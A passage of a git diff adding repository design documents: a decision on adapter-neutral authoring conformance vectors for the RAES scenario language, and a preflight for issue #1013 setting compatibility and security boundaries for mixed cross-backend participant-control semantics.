user journey, pack operation, backend, or runtime outcome. + +## Decision Summary + +RAES conformance compares admitted authoring outcomes, not user interfaces or +task completion. A CLI, MCP/agent tool, graphical editor, documentation-driven +workflow, or future adapter remains a presentation and transport boundary. It +must submit the same digest-bound input under the same governed operation and +comparison profiles, then project its result into one small adapter-neutral +observation. The observation composes existing RAES authorities for artifacts, +diagnostics, transformation provenance, semantic comparison, and validation +basis; it does not redefine any of them. + +One thin, versioned conformance vector/observation family is justified because +no existing contract joins all four required axes. It must remain a composition +contract rather than a new semantic model: + +- the vector binds a case id, exact input profile and digest, operation profile + and digest, comparison profile and digest, resource limits, and expected + axis-level dispositions; +- a successful observation carries an admitted artifact coordinate derived by + the owning artifact adapter, never a caller-asserted semantic digest; +- a refused or invalid observation carries no artifact and uses the incumbent + structured diagnostic channel; +- a transformation observation embeds or digest-binds the existing + `ArtifactTransformationReportModel`; validation-only operations do not + fabricate transformation provenance; +- pairwise artifact meaning is decided by the existing semantic-comparison + request/result and owner projection, not by the wrapper; and +- the verdict reports artifact, diagnostic, and provenance axes independently + with `equivalent`, `different`, `incomparable`, or `not-applicable`-style + dispositions and bounded reason codes. A single boolean is insufficient. + +The adapter category is descriptive metadata at most. Do not publish a closed +`cli | mcp | gui | docs` enum: it would turn current product shapes into semantic +classes and require a contract revision for the next transport. The extensibility +seam is the digest-bound input, operation, owner-projection, diagnostic, and +comparison profiles. + +## Existing Authorities To Reuse + +| Concern | Canonical incumbent and required use | +| --- | --- | +| Normative location and distribution | ADR-009/019, `specs/authority/authority-boundary.yaml`, `contracts/fixtures/`, and `raes_contracts.corpus`; vectors are normative fixtures and must ship in the packaged corpus. Examples, tests, and docs are not the vector authority. | +| SDL source admission | `SDLParserLimits`, `sdl-yaml/v1`, `parse_sdl()` / `parse_sdl_file()`, mapping-key analysis, safe YAML loading, migration policy, `Scenario`, and `SemanticValidator`; every SDL-producing path re-enters this production boundary. | +| Canonical SDL identity | ADR-076/078, `canonical_sdl_bytes()` and `canonical_sdl_digest()`; equality is profile-labelled semantic identity of a successfully validated authoring artifact, not YAML text, Python equality, or a caller-supplied hash. | +| Deterministic rendering | `render_sdl_source()` for model-to-source output and `format_sdl_source()` for explicit source migration/formatting; emitted bytes are reparsed. No adapter-specific YAML serializer is permitted. | +| Source-neutral synthesis | `CandidateSynthesisInputModel`, `CandidateSynthesisRecordModel`, the governed synthesis profile, and `synthesize_sdl_candidate()` when a vector actually exercises synthesis. Candidate synthesis is not the generic meaning of all authoring. | +| Transformation provenance | `ArtifactTransformationReportModel`, its all-or-none success/refusal invariant, source/target/policy/derivation digests, checks, identity maps, preservation, losses, and bounded diagnostics. Do not add an adapter provenance bag. | +| Semantic difference | `SemanticComparisonRequestModel`, `SemanticComparisonResultModel`, `contracts/profiles/semantic-comparison/reference-v2.json`, `coordinate_for_artifact()`, `build_impact_scope()`, owner projections, and `analyze_semantic_comparison()`. | +| Diagnostics | `SDLParseDiagnostic` and the existing SDL error channel for source-located parse diagnostics; `Diagnostic` / `DiagnosticModel` for portable diagnostics; `specs/sdl/diagnostics.md` for severity, stage, safety, and error/advisory meaning. | +| Validation claims | ADR-072, the validation-profile catalog, and `ValidationBasisDisclosureModel`; a conformance runner reports only gates actually run and never treats a private `semantic_validated` flag or fixture pass as a stronger claim. | +| Contract shape and ingress | `ContractModel(extra="forbid")`, shared scalar/digest types, discriminated unions, sorted-unique invariants, `x-raes-invariants`, and `parse_bounded_json_object()` / `StrictJsonIngressError`. | +| Conformance execution | `raes_conformance`, especially the fixture-suite and artifact-transformation runner patterns, `sanitized_failure_message()`, stable case ordering, confined fixture paths, and non-vacuous empty-corpus failure. | +| Adapter-neutral authoring core | `raes.language_service` is explicitly shared by MCP, CLI, and future LSP/editor adapters. Production parser, formatter, declaration-index, edit, and diagnostic functions remain below transports. | +| Workflow and publication | ADR-014, the canonical nox graph, `schema_bundle()`, `tools/generate_contract_schemas.py`, schema-publication entries, `tools/check_json_artifacts.py`, `tools/check_generated_schemas.py`, and repository policy/governance checks. | + +No new ADR is needed while these boundaries hold. An ADR is warranted only if +implementation changes the meaning of semantic equality, creates a new SDL +lifecycle phase, changes normative diagnostic semantics, grants vectors a new +authority class, or introduces an authenticated/persistent conformance service. + +## Comparison Semantics And Concept Boundaries + +### Hold the input and operation fixed + +"Same admitted input" means that the vector descriptor itself passes its closed, +bounded contract and binds one exact input payload by profile and digest. It does +not mean the payload must already be valid SDL; negative vectors need an admitted +test input whose expected authoring outcome is rejection. The adapter may not +read an ambient file, environment variable, network resource, pack, clipboard, +or UI state to complete the input unless that material is an explicit, +digest-bound vector resource admitted under the selected profile. + +Input profiles are a closed registry seam, not an open `Any` payload. Initial +profiles should reuse ordinary strict SDL source and, where appropriate, the +source-neutral candidate-synthesis input. A candidate-synthesis source adapter +coordinate is provenance about an external assertion adapter; it must not be +reinterpreted as the CLI/MCP/GUI presentation path under test. + +The operation profile fixes every meaning-affecting option: source format, +migration policy, semantic-validation strength, transform/synthesis profile, +canonicalization profile, and applicable limits. Defaults are part of the +profile. Two paths that silently select different migration or validation modes +did not execute the same operation. + +### Compare independent axes + +1. **Outcome and artifact.** Both successful paths must return artifacts admitted + by the owning production gate. Their artifact coordinates and owner semantic + projections are compared through semantic comparison. Exact source-byte or + formatted-byte equality is an additional textual assertion only where the + vector's rendering profile promises it. +2. **Diagnostics.** Compare stable code, severity, error/advisory classification, + domain/stage, and canonical address. Compare source ranges only for vectors + that supply the same exact source bytes and select a source-location profile. + A structured graphical input may legitimately have no YAML range; that axis + is `not-applicable`, not falsely equal. Human prose is safety-checked and + bounded but is not the default semantic equality key. +3. **Transformation provenance.** Require the same admitted source digest, + target canonical digest, operation/policy/canonicalization profiles, checks, + preservation outcome, identity mapping, and loss semantics. A derivation + digest or producer coordinate that intentionally binds the adapter path may + differ; the comparison profile must expose that as a declared provenance + difference rather than ignoring it or failing artifact equivalence. +4. **Semantic result.** When both sides have admitted artifacts, use the governed + owner projection and exact two-sided impact scope. A digest mismatch alone is + not a semantic difference; a digest match does not excuse a missing or + indeterminate comparison context. + +Mixed outcomes are first-class typed differences: success versus rejection, +error versus advisory, complete versus bounded/indeterminate comparison, and +lossless versus lossy provenance must never collapse to "not equal". When no +artifact exists, semantic comparison is `not-applicable`; a comparator must not +manufacture a placeholder artifact to satisfy the semantic-comparison schema. + +### Promote an incumbent diagnostic shape; do not copy one + +The repository currently has a portable `DiagnosticModel` and a richer +source-located `SDLParseDiagnostic`, plus several presentation projections. If +the published vector contract needs one portable source-location carrier, move +the existing SDL parse-diagnostic fields to the shared contract layer and make +the parser, language service, CLI, and MCP consume that one model. Do not define +a vector-only diagnostic schema, a new exception hierarchy, or another free-form +error envelope. + +`raes_cli._semantic_result.CommandDiagnostic`, language-service dictionaries, +and the prose returned by `raes_mcp.tools.authoring` are presentation models, +not normative contracts. Their current differences are exactly what the +conformance projection must isolate; none may become the oracle by being copied +into fixtures. + +## Cross-Cutting Security And Runtime Layers + +The intended design passes all applicable layers below. + +1. **Authentication and authorization.** The fixture corpus, comparator, and + reference runner are pure offline code and have no authentication surface. + Adapter or producer identifiers are provenance, not authenticated identity. + Hub, env-packs, GUI, MCP hosts, and any future remote service authenticate and + authorize their own requests before invoking RAES. Do not add tokens, roles, + session state, or transport authorization to the vector contract. +2. **Secret-handling boundary.** Published vectors contain synthetic, + non-sensitive values only. Real credentials, bearer tokens, private keys, + environment dumps, customer data, live infrastructure identifiers, and + operator secrets never enter vector resources, exact representations, + diagnostics, provenance reports, snapshots, logs, or test failure output. + Secret/redaction behavior can be tested with inert markers whose values are + safe to publish. Existing SDL explicit-redaction validation remains the + semantic authority. +3. **Portable JSON ingress.** Vector, profile, portable input, observation, and + report JSON pass byte bounds, UTF-8/JSON parsing, duplicate-member and + non-finite-number rejection, closed `ContractModel` shape validation, shared + digest grammar, sorted-unique checks, and cross-reference/digest invariants. + JSON Schema validation alone does not replace Python contextual invariants. +4. **SDL source shape.** SDL bytes pass `SDLParserLimits`, YAML 1.2 Core scalar + resolution, single-document/tag/directive/alias/node/depth limits, + duplicate/canonical-key checks, typed construction, identifier rules, + migration policy, module composition where selected, and semantic validation. + No vector or adapter may use `skip_semantic_validation` to claim equivalence. +5. **Configuration and environment binding.** Source format, migration mode, + limits, operation, policy, and projection versions are explicit profile + inputs. Ambient environment variables, current directory, locale, clock, + hostname, username, random state, UUIDs, caches, and plugin discovery do not + affect the expected artifact or comparison. SDL variables and synthesis + decisions use their existing typed carriers; environment variables are not a + second parameter-binding shape. +6. **Filesystem and network exposure.** Default cases are self-contained and + network-disabled. Referenced fixture resources use safe corpus-relative paths, + resolve beneath the fixture root, and are digest checked. File-backed import + cases use `parse_sdl_file()` plus the existing resolver, trust, lock, export, + collision, cycle, and composition-budget gates. A locator is never authority + to fetch. +7. **OS/process exposure.** In-process calls are preferred. A CLI boundary case + sends content through stdin or a confined temporary file; source content, + parameters, secrets, and reports do not appear in process argv. Subprocess + tests use fixed executable/operation arguments, a controlled environment, + bounded stdout/stderr, no shell, no network, and no inherited path as + semantic identity. +8. **Error envelope and logging.** Parser diagnostics preserve stable codes, + canonical pointers, stages, and applicable ranges without raw values. + Contract/conformance failures use `sanitized_failure_message()` rather than + `str(exc)`, Pydantic input rendering, source snippets, tracebacks, or raw MCP + payloads. The pure comparator logs nothing. Outer adapters may log stable case + id, vector digest, operation/profile ids, status, and diagnostic codes, but + not input or artifact bodies. +9. **Output and persistence.** Results are deterministic values returned to the + caller. Normative vectors live in `contracts/fixtures/` and are packaged via + `raes_contracts.corpus`; no database, mutable registry, cache, audit blob, + control-plane store, or runtime snapshot is introduced. A durable external + attestation remains owned by its product and may reference the vector and + result digests. + +## Whole-Repository Surfaces In Scope + +- normative authority: `specs/`, `contracts/schemas/`, `contracts/fixtures/`, + `contracts/profiles/`, `specs/authority/authority-boundary.yaml`; +- SDL core: parser/source profile, formatter/renderer, scenario models, + declaration index, semantic validator, composition, canonical identity, and + candidate synthesis; +- portable contracts: shared base/digest types, diagnostics, transformation + reports, semantic comparison, validation profiles/disclosures, versions, + bundle exports, and corpus resolution; +- adapters: semantic CLI, language service, MCP language-service and authoring + wrappers; these consume the common observation and remain non-normative; +- conformance: fixture loading, confined resource resolution, case execution, + safe diagnostics, stable reporting, and an explicit no-cases failure; +- publication and verification: schema publication entries, generated-schema + parity, JSON-artifact routing, corpus packaging tests, determinism witnesses, + repository policy, requirement governance, and the canonical nox graph. + +## Gotchas And Anti-Patterns + +- Do not compare YAML/JSON text, Pydantic dumps, command stdout, screenshots, + user-visible success strings, or task completion as semantic equivalence. +- Do not let an adapter submit its own canonical digest, validation flag, or + semantic projection as trusted evidence. Derive them from admitted artifacts. +- Do not compare successful artifacts by recursively diffing dictionaries; + owner projections and the semantic-comparison profile own meaning. +- Do not add a second parser, renderer, schema validator, semantic validator, + declaration resolver, canonicalizer, diagnostic taxonomy, exception tree, or + transformation report for conformance. +- Do not reuse `BackendConformanceReport` for authoring adapters. Backend/runtime + realization, native execution, and authoring equivalence are different claims. +- Do not overload `ArtifactTransformationReportModel` as a test report or + adapter identity. It owns one semantic operation and its provenance. +- Do not treat candidate synthesis as every authoring path, or treat its source + adapter coordinate as the UI/transport adapter under comparison. +- Do not promote `SemanticCommandResult.payload`, legacy MCP prose responses, or + language-service dictionaries into normative contracts. They are projections. +- Do not hard-code current adapter classes into schemas, case directories, or + comparison branches. Select behavior by governed profiles and owner kinds. +- Do not permit fixture-relative paths to escape the corpus root, remote URLs to + fetch content, caller-selected import paths, plugin/module names, or callbacks. +- Do not generate expected fixture outputs at test time with the same production + function being tested. Checked-in expected digests, diagnostics, and typed + dispositions are independent regression oracles and must have non-vacuous + mutation/difference cases. +- Do not claim universal adapter equivalence from a finite vector corpus. The + result is conformance to the named vector/profile revision with explicit + limitations. + +## Non-Goals And Ownership Boundary + +- No GUI, editor, LSP, MCP server, CLI user journey, documentation renderer, or + agent skill is designed or implemented here. +- No cross-product task coordination, usability study, or acceptance workflow; + Hub HUB-6 / #33 owns those concerns. +- No env-pack authoring, pack file, pack diagnostic, pack resolution, or pack + persistence; env-packs owns them. +- No backend realization, live execution, runtime/evidence outcome, participant + behavior, or scientific-success claim; conformant backends and experiment + contracts own those surfaces. +- No authentication service, remote retrieval, plugin discovery, database, + cache, telemetry pipeline, audit store, or control-plane endpoint. +- No change to SDL syntax, lifecycle phases, semantic meaning, canonical address + rules, diagnostic severity, or validation-strength taxonomy merely to make two + adapters look equal. +- No requirement that presentation bytes, labels, layout, source ranges across + unlike source forms, or human diagnostic prose be identical. diff --git a/docs/decisions/issue-1013-sem-234-mixed-participant-control-preflight.md b/docs/decisions/issue-1013-sem-234-mixed-participant-control-preflight.md new file mode 100644 index 000000000..aaaf299c8 --- /dev/null +++ b/docs/decisions/issue-1013-sem-234-mixed-participant-control-preflight.md @@ -0,0 +1,425 @@ +# Issue #1013 — Mixed participant-control semantics preflight + +Date: 2026-09-17 + +Scope: SEM-234 semantic publication, composing SEM-230, SCE-002, API-423, +RUN-310, and their existing dependencies. SCE-002, API-423, and RUN-310 +are incumbent authorities, not permission to reopen their +implementations or broaden their published carriers. + +This is supplementary architecture guidance, not a semantic implementation or +implementation plan. [ADR-102](adrs/adr-102-mixed-cross-backend-participant-control.md) +and the [#813 preflight](issue-813-cross-backend-participant-control-preflight.md) +already decide the architecture; no new ADR is needed. At preflight, +`specs/formal/participant-semantics/cross-backend-participant-control.md` is +recorded as DRAFT. Its existence and #813's structural tests do not establish +published semantics, mixed runtime support, or backend realization. + +## Binding progressive-specification clarification + +The maintainer explicitly requires alignment with #1198's correction and +accepted [ADR-105](adrs/adr-105-recursive-partial-description-semantics.md). +References below to closed shapes/vocabularies govern authority, operational +dispositions and interpreted exchanged data, not exhaustive backend catalogs. +Open materialization delegates unspecified descendants while exact constraints +remain binding. Complete abstract models need no hidden machine recipe. +Admission of a negotiated supported witness differs from universal envelope +coverage. Reporting, observation, collection, retention, export and operational +inputs remain separate; evidence requirements apply to selected obligations. +The semantic publication must not restore compulsory recipes, internal-profile +declarations or universal telemetry by interpreting the older design literally. + +## Publication boundaries that need precision + +- **One semantic authority.** Publish the revisioned meaning in the existing + formal specification. The research program's + `mixed-cross-backend-participant-control-v1@rev1` identifies the intended + profile; a profile revision, document status, future wire-schema version, + and behavioral-taxonomy revision are different coordinates. Preserve + stable MCB clause identities and explicit revision applicability. Research + sketches and worked examples must reference that authority rather than + become competing definitions. Accepted ADR-102 is subject to ADR immutability. +- **Composition and phase names retain their owners.** SCE-002 combines + atomic scenarios into an SDL family; SEM-234 composes realization providers + for a selected scenario. Experiment condition/allocation bindings are not + provider allocation. SDL authored/expanded/instantiated/snapshot phases, + scenario workflow stages, and apparatus activation phases are distinct. + Alternative realizations must state the scenario/policy identity being held + fixed and retain separate apparatus and run provenance. No activation phase + reselects the family, consumes a new experiment draw, or reinstantiates SDL. +- **Forms, topology, and modes differ.** Alternative realization relates + separately admitted trials; simultaneous composition describes coexisting + providers in one trial. Merely having several components or a + `federated-composition` label does not identify which allocations are + simulated, emulated/operational, or hardware/native. State those meanings + explicitly without inferring them from backend names, adapter classes, + hosts, or topology. Preserve the parent's closed vocabulary and explain its + dimensions; do not silently redefine terms during publication. +- **Allocation must be phase-relative.** The draft's unindexed relation + `A` and phase-sensitive `provider(u, phase, cut)` need consistent domains. + Separate sealed possible membership from currently active membership and + eligible allocation. Completeness, eligibility, and non-overlap must hold + at each admitted active phase. Sequential providers must not look like + simultaneous overlap, and an inactive but pinned provider cannot act. + Resolve overlaps across the five allocation kinds, not only identical + keys: a participant-runtime allocation and an action-family allocation + must not silently authorize competing providers of the same effect. + Subscope disjointness needs incumbent semantic evidence, not string-prefix + comparison. Revision 1 supplies no arbitration or failover profile. +- **Graph closure precedes admission.** Every active edge must resolve its + endpoints, scope, adapter, mappings, policy/release basis, clocks, support, + loss, and failure disposition at matching revisions/digests. No implicit + reverse edge, transitive authority, or trusted bridge follows from topology. + Nested profiles need closed, resolvable references and bounded traversal; + recursive profile references must not permit infinite admission work. + Distinguish invalid recursive references from valid feedback edges, whose + progress/deadlock assumptions must be explicit. Do not assume a DAG or + progress merely because the phase list is finite. Downstream graph-size, + depth, and work ceilings belong beside `TrialCompilationLimitsModel`; + existing trial-product limits do not already bound graph traversal. + Exhaustion rejects the whole admission rather than truncating the graph. +- **Controller identity does not guarantee current authority.** The incumbent + `MixedControlControllerState` has one controller reference, active/revoked + authority, scope, and validity order. The draft's “exactly one acting + controller” must preserve revoked, expired, stale, and unsupported states; + it cannot force an authorized actor to exist at every cut. Provider or + backend object/attribute ownership transfer never grants control, action, + or disclosure authority. Transfer vocabulary is a semantic disposition, + not authorization for a second control-occurrence enum or protocol. +- **Partial order is not an admission waiver.** MCB-023's partial/unknown + clock relation and MCB-010/040's fail-closed mapping requirement must agree. + An admitted mapping that preserves a partial order differs from a missing + mapping. An unresolved required comparison cannot authorize an edge, + transfer, or phase transition. Do not linearize concurrent histories by + timestamps, receipt order, or backend availability. Existing control + occurrences use scalar effective/validity order; sequence and causal cuts + have distinct incumbent models. A mapping must name its domain, authority, + revision, preserved order, and loss rather than pretend these are one type. +- **Finite phases do not pre-authorize future effects.** Sealing pins possible + members, transition rules, triggers, mappings, policy/authority expectations, + and failure behavior. Admitted trigger evidence may enable only an admitted + transition; fresh exact-cut admission remains necessary. The profile must + identify the trigger evidence and its trusted evaluator: SCE-002 runtime + fact bindings currently fill typed action inputs and are not a phase engine + or apparatus selector. Phase failure, in-flight + delivery, timeout, retry, replay, and cancellation must have explicit + dispositions. They cannot discover a provider or erase prior delivery, + controller/crossing history, or participant memory. Inter-trial changes + create linked new entries/runs; within-run phases preserve trial identity. + Deactivation is not cleanup or clean-state evidence. Resource ownership, + outstanding effects, and cleanup obligations must remain accountable under + `TrialExecutionAuthorityModel` and the incumbent trial-cleanup contracts. +- **Commit is not completion.** The existing durable decision/history commit + precedes an external effect; it is not a distributed transaction with a + backend. A crash after authorization or a partial backend effect cannot + become a successful delivery, an automatic retry, or a claim of exactly-once + execution. Scope “zero prohibited effects” to failed pre-effect gates; + distinguish safe failure evidence from prohibited disclosure, and do not + promise durable failure evidence when the store itself is unavailable. + +## API-423 compatibility constraints + +The existing `participant-crossing-occurrence-v1` schema and +`raes_contracts/contracts/participant_crossing{,_validation,_vocab}.py` already +own crossing facts. The following constrain SEM-234's definitions and worked +examples; resolving a downstream contract gap is outside #1013. + +- **A topology edge is not a participant carrier.** API-423 ingress/egress + is relative to the participant boundary, not source/destination component + direction. Identify which participant, audience, and incumbent subject an + edge actually mediates. Preserve API-406 observations/views, API-409 control + occurrences, and DSL-142 inject bindings as the payload owners. Do not wrap + every inter-component exchange in API-423 or invent a generic bridge + message, carrier payload, or envelope extension for graph/phase data. +- **Context resolution is a trusted input, not authentication.** + `validate_participant_crossing_occurrence_context()` checks agreement with + supplied subject/policy/evidence/authority indexes; it does not authenticate + their source or establish the contents of an evidence artifact. Reuse + `ParticipantCrossingPolicyResolver` and `ParticipantCrossingValidationContext` + from `raes_runtime/participant_crossing_mediation.py`. A caller/backend + cannot nominate its own known-authority set, permit, or `not-applicable` + gate. Required evidence references describe obligations, not proof that + delivery or observation occurred. +- **Successor joins retain exact coordinates.** The contextual validator + requires the same participant/episode, direction, interaction kind, + audience, controller, authority refs, complete policy reference, and order + model; it also requires a named predecessor and strictly increasing scalar + effective order. A new phase, audience, controller, policy cut, or clock + mapping cannot be spliced into that chain by restamping an old record. + Describe fresh admission and explicit lineage at the appropriate boundary. + These scalar joins do not encode arbitrary cross-component partial order. +- **Transformation branching is not already supported.** + `_validate_transformation_graph()` allows one result identity per source + `(subject_kind, subject_ref)` in the supplied history and rejects cycles. + `_next_crossing_snapshot()` validates the retained participant history, not + just the new edge. Thus parallel audience-specific transformations of one + source are not established by the current contract. A worked example that + needs them must identify the downstream compatibility obligation for #1014; + do not weaken the validator, drop historical records, or manufacture source + identities to make it appear satisfied. Policy indexing likewise requires + one exact policy reference per `(policy_id, policy_revision)` in that context. +- **Stages and evidence have bounded meanings.** A `delivered` stage can + carry a failed/unknown/unsupported disposition; only a successful delivery + can support observation. Attempt/delivery/observation owner refs must join + their exact typed subjects. API-423 uses `disclosed-weak`, whereas API-407 + uses `disclosed_weak`; reuse `_resolve_backend_support()` in + `raes_runtime/participant_crossing_policy.py`, not string equality or a + replacement shared enum. Retain transformation + rule/revision, source/result identity, inherited markings, release authority, + and explicit loss/weakening. The [participant-control guide](../public/participant-control.md) + bounds the shipped inject probe to a projected status-view delivery; it + does not establish compiled DSL-142/DSL-111 event/script/story lineage. +- **Historical validation is not current permission.** Preserve the exact + prefix through `raes_contracts/participant_crossing_history.py` and retain + trusted historical resolution material after phase change or revocation. + Resolving an old authority reference must not reactivate it at a new cut. + Evidence/provenance stays out of line and audience-governed. Nonempty refs + and HTTP byte limits do not bound history growth, reference resolution, or + transformation traversal; downstream limits need explicit count/work + budgets and exhaustion behavior, without truncating validated history or + silently fetching caller-selected URLs/paths. + +## RUN-310 lifecycle compatibility constraints + +The [RUN-310 preflight](issue-255-run-310-supervisory-lifecycle-preflight.md) +and its delivered mediation already own supervision. SEM-234 must compose +that lifecycle; MCB-013–017 and MCB-026/031/038–040 do not authorize a second +controller machine or imply that the current runtime coordinates providers. + +- **Keep the three kinds of outcome separate.** The closed application + `ParticipantControlIntent` union is caller intent; API-409 + `ParticipantControlOccurrenceModel` is a runtime-built fact; an + `OperationReceipt` acknowledges an operation. In + `participant_control_operation.py`, `receipt.accepted=True` can accompany + a failed operation and rejected occurrence. Conversely, an accepted + `denial` occurrence is a valid supervisory decision denying a proposal. + Neither is provider-transfer completion. MCB transfer states such as + `pending` and `committed` must retain their semantic owner rather than be + copied into these existing kinds, dispositions, or operation states. +- **Preserve declaration, control-state, and history coordinates.** + `raes/participant_behavior_specification.py`, `raes/validator/_mixed_control.py`, + and `raes_processor/compiler/_mixed_control.py` own closed ACT-617 graph + validation, controller/scope/evidence resolution, and compiled addresses. + Each declared transition advances state revision by one and has a unique + scalar effective order. `participant_control_mediation.py` folds only + accepted occurrences for the selected episode. By contrast, + `raes_contracts/participant_control_history.py` numbers every appended + occurrence across that participant's retained history, including rejections + and other episodes, and requires globally unique event ids and an unchanged + prefix. A phase must not reset either history, reuse an occurrence identity, + or replace compiled declarations needed to replay an earlier policy cut. +- **Order and conflict handling remain owned by RUN-310.** Reuse + `participant_control_rejections.py`: unsupported order, stale request policy, + stale state, stale transition policy, invalid target, revoked authority, + then authority-window failure determine its bounded rejection reason. + The shipped order strategy is `total-effective-order`; ACT-617's conflict + rules are `order-then-revalidate` and `reject-no-state-change`. A lock or + successful sequential replay is not evidence of cross-backend concurrent + ordering. SEM-234 must explain required comparisons and rejection without + silently converting partial order, phase index, arrival order, or wall time + into this scalar order. Unknown order requires an admitted mapping or an + explicit unsupported boundary, not another local conflict engine. +- **A resolved target is a scoped historical fact.** Reuse + `participant_control_targets.py` and + `validate_participant_control_occurrence_context()`. Proposal, decision, + control, action, admitted-action, and attempt remain different target kinds. + The resolver binds kind/ref/revision/participant/episode, while the API-409 + contextual index rejects reuse of `(target_kind, target_ref)` with a + different revision or scope. Phase/provider-local ids cannot alias retained + targets. A transformed proposal needs a fresh identity, exact source + revision, inherited markings, and source/transformation provenance; an + earlier approval cannot authorize it. Historical target existence alone + supplies neither current authority nor current action admission. +- **Handoff evidence is not backend acknowledgement.** A handoff intent names + a compiled declaration and completion-evidence ref; the declaration supplies + prior/resulting controller state. The current builder copies the supplied + evidence ref, and API-409 contextual validation does not verify its artifact + contents or a provider handshake. SEM-234 must identify who can attest the + required completion facts and their exact cut. Pending or failed transfer + grants no new authority; the prior controller can act only while its own + authority remains valid. Backend ownership and provider/phase activation + require their separate admitted evidence and cannot be inferred from the + handoff record, an authenticated backend role, or a nonempty reference. +- **Lifecycle recording does not dispatch effects.** Approval is before + admission; external direction, intervention, override, and cancellation + also produce control facts without backend dispatch. In + `participant_control_occurrences.py`, cancellation reports `prevented` for + proposal/decision, `partial-limitation` for admitted action, and `too-late` + for an attempt. Those target-stage dispositions do not prove backend abort, + compensation, cleanup, rollback, delivery, or observation. Preserve + SEM-211 action admission and API-423 delivery/observation owners, and state + separately what can still be prevented after an effect starts. +- **Use the composed commit boundary.** + `ParticipantCrossingControlIngressMixin` in `participant_crossing_boundary.py` + prepares RUN-310 and RUN-319 facts together, applies the final-sink gate, + rebinds transformed intent, and commits through + `ControlPlaneStore.commit_participant_transition()`. Its expected heads + cover episode, behavior, control, and crossing histories via + `participant_crossing_state_cut.py`, in addition to snapshot revision. + Do not call the bare recorder or write provider/control/crossing state + independently to bypass that cut. The bare path remains available without + a crossing resolver, and the current HTTP control route in + `control_plane_api/_participant_routes.py` does not supply crossing evidence; + neither establishes a public mixed-control ingress satisfying all gates. + Required resolver/evidence absence fails closed; downstream ingress support + belongs to #1016, not a new endpoint in #1013. +- **Replay a result without renewing its permit.** The bare recorder scopes + idempotency by target, principal, kind, participant, episode, and client key, + and fingerprints intent plus compiled transition. The governed path uses + the crossing record's fingerprint and decision/result history heads. + Reuse these paths; do not introduce a phase-local retry cache. Returning a + committed historical receipt does not authorize another effect after + handoff, revocation, or a changed provider/mapping cut. New phase/allocation + fences need governed downstream contract support: the existing four history + heads do not encode those facts by implication. + +Publication witnesses must distinguish an accepted denial, a stale rejected +decision, equivalent retry versus conflicting key reuse, concurrent intervention +versus handoff, cancellation at each target stage, and history replay across +episodes/phases. Reuse the assertions in +`test_run_310_supervisory_lifecycle.py`, +`test_api_409_participant_control_occurrences.py`, and +`test_issue_1003_final_sink_flow_enforcement.py` as compatibility evidence. +Their passing does not establish provider transfer, a phase engine, or +cross-backend concurrency correctness. + +## Canonical reuse and security boundaries + +Paths below `raes*` refer to packages under +`implementations/python/packages/`. These are compatibility obligations on +the published semantics and examples. #1013 does not modify these runtime +layers or claim that they already implement mixed composition. + +| Layer and incumbent | Required fit | +| --- | --- | +| SDL ingress: `raes` parser (`parse_sdl`, `parse_sdl_file`), `SDLModel`, `SemanticValidator`, scenario phase validation | Portable scenario meaning stays backend-neutral. No backend selector, allocation graph, or generic `mixed`, `open`, `federated`, or `constraints` bag in SDL. Reuse structural, semantic, and instantiated validation; a new textual reference does not create an SDL construct. | +| Stable identities: `raes_contracts/addressing.py`, `raes_processor/compiler/addresses.py`, `raes_contracts/canonical.py` | Allocation resolves canonical compiled addresses and typed incumbent refs, including target existence and kind. Reuse `require_compiled_address()` and canonical digest helpers; well-shaped text alone does not resolve a target. Host paths, worker ids, timestamps, and adapter object identities are not portable scope identities. | +| Trial/configuration admission: `AdmittedApparatusBindingModel`, `raes_contracts/admitted_trial_plan_ingress.py`, `raes_processor/trial_compiler/{compiler,apparatus}.py`, `raes_processor/trial_realization.py` | The current apparatus binding has one realization envelope; multiple manifest refs do not admit a component graph. Preserve digest-pinned manifest matching, deterministic admission, and plan/run identities. Reconstruct caller-held plans through `revalidate_admitted_trial_plan()` before realization; a typed object alone is not admission. `ExperimentApparatusContextModel` is observed evidence, not pre-run authorization. Contract/compiler changes belong to #1014/#1015. | +| Selection and randomness: `raes/selected_scenario.py`, `raes/experiment_selection.py`, `raes_processor/trial_compiler/{policies,profiles}.py`, `raes_contracts/random_stream_engine.py` | Preserve complete selection and semantic admission, versioned coordinate/identity/draw profiles, and sealed stochastic outcomes. Provider availability, phase order, and retries cannot reseed or advance experiment randomness. Common random numbers require an explicit experiment namespace/seed choice; backend nondeterminism remains realized evidence, not proof of repeatability from a shared seed. | +| Contract shapes and ingress: `raes_contracts._base.ContractModel`, `raes_contracts/json_ingress.py`, `raes_contracts/experiment_spec.py`, published `contracts/schemas/`, `schema_bundle()`, contextual validators | Closed shape checking and contextual resolution are distinct gates. Reuse bounded JSON parsing with duplicate/non-finite rejection and bounded experiment YAML parsing with duplicate/alias rejection. Reuse `StrictJsonIngressError`, `AdmittedTrialPlanIngressError`, and existing redacted ingress errors, not a composition exception hierarchy. Reuse primitive identities, vocabularies, and reference owners; do not duplicate API-409/API-423 carriers, time models, or validators. No schema or DTO is published by this issue. | +| Authentication and target binding: `_ControlPlaneApiAuth`, `ControlPlaneSecurityConfig`, `ControlPlaneIdentity`, `ParticipantControlSubjectBinding`, `ParticipantAudienceSubjectBinding` | Caller authentication, role, exact target, participant/controller, and audience bindings remain independent of provider membership. A manifest, ownership report, header, or caller-supplied policy decision cannot supply trusted authority. Governed retrieval remains in `participant_retrieval.py` and `control_plane_api_participant_retrieval.py`. No new auth endpoint is needed. | +| Control and crossing admission: `validate_participant_control_occurrence_context()`, `validate_participant_crossing_occurrence_context()`, `participant_control_mediation.py`, `participant_crossing_mediation.py`, `participant_crossing_state_cut.py` | Bind the same participant, episode, controller, authority, policy decision/revision, state revision, history heads, audience, capability, and governed order. Denial or unresolved context in any owner denies the composed operation. Fresh transformed action identity/provenance requires fresh validation and admission; routing and redaction do not authorize release. | +| Final sink and flow labels: `ParticipantFlowControlRelationModel`, `validate_participant_flow_control_resolved_context()`, `participant_flow_sink.py` | SEM-233/ADR-101 already own independent confidentiality/integrity obligations, declassification/endorsement, provenance, and final-sink decisions. Reference the existing relation and incumbent carrier joins. Do not create another label algebra or trust an adapter-supplied permit. The current gate permits a legacy API-423-only path when enforcement is disabled and no resolver hook exists; that path is not evidence of SEM-233 enforcement. A profile requiring the stronger gate must reject its absence. | +| Time and capabilities: `raes_contracts/contracts/time_model.py`, `participant_decision_state_cut.py`, `raes_backend_protocols/time_capabilities.py`, `participant_feature_admission.py` | Reuse time declarations, cuts, mappings, realized readback, and `resolve_participant_feature_support()`. API-407 separates declared/effective strength, required contracts, evidence, and authorized downgrade. Support must hold for the selected component/edge/phase, not the union of unrelated providers' 